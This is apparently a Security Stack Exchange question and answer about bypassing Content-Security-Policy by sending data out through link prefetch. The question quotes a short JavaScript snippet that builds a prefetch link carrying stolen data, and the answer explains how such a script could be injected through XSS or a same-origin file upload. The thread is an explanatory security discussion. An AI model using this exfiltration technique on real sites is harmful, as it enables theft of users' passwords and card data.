The article I’m harvesting credit card numbers and passwords from your site. Here’s how. describes the phases of a theoretical attack where an attacker can bypass a strict CSP and exfiltrate sensitive information. The article claims that this script can bypass CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;

This takes advantage of the fact that prefetch behavior in the CSP standard is underspecified. In Chrome, this works, but Firefox currently prevents this from happening (which may change given user complaints in the bug report). The article claims that this works even with the strictest security policy:

Content-Security-Policy: default-src 'none'; script-src 'self'

Which is true because there is no fallback behavior for prefetch currently. However, the thing not addressed is that the attacker's code still has to be injected (out-of-line) somehow. The article "Bypassing Content-Security-Policy with DNS prefetching" suggests that this is done by finding an XSS vulnerability elsewhere.

Assuming that the target website uses HSTS and that a user visiting the website uses NoScript, what would such an attack vector look like?

  • 1
    Possible duplicate of XSS prevention through Content Security Policy
    – user167921
    Jan 8, 2018 at 2:18
  • The title is misleading. What you describe is not a failure to prevent XSS when using CSP. The only script which is executed here is the snipped you show and which is loaded from the original domain (CSP self) due to a malicious npm package (details in the article you reference). And because of script-src 'self' this code is allowed to run. Jan 8, 2018 at 8:59

1 Answer 1


HSTS is only relevant when concerned about a MITM (e.g., on public wifi), so the rest of my answer will assume remote vectors that work with both HSTS and without.

If a user has NoScript set to not execute any scripts, then the user will not be exploited by any XSS (since there is no scripting being done, there cannot be a cross-site script).

If NoScript is allowing local scripts (but perhaps blocking those sourced from a 3rd party), then it would look like any other XSS vector. Most XSS result from being able to inject arbitrary scripts into a page. With the listed CSP, it gets more difficult, as the attacker will need to source a script from the local domain (since unsafe-inline is not available), but that can occur with an arbitrary file upload on the same origin.

Really, the whole thing is more about exfiltrating data past CSP, and not the original injection vector -- many different vectors would allow exfiltrating data via prefetch.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .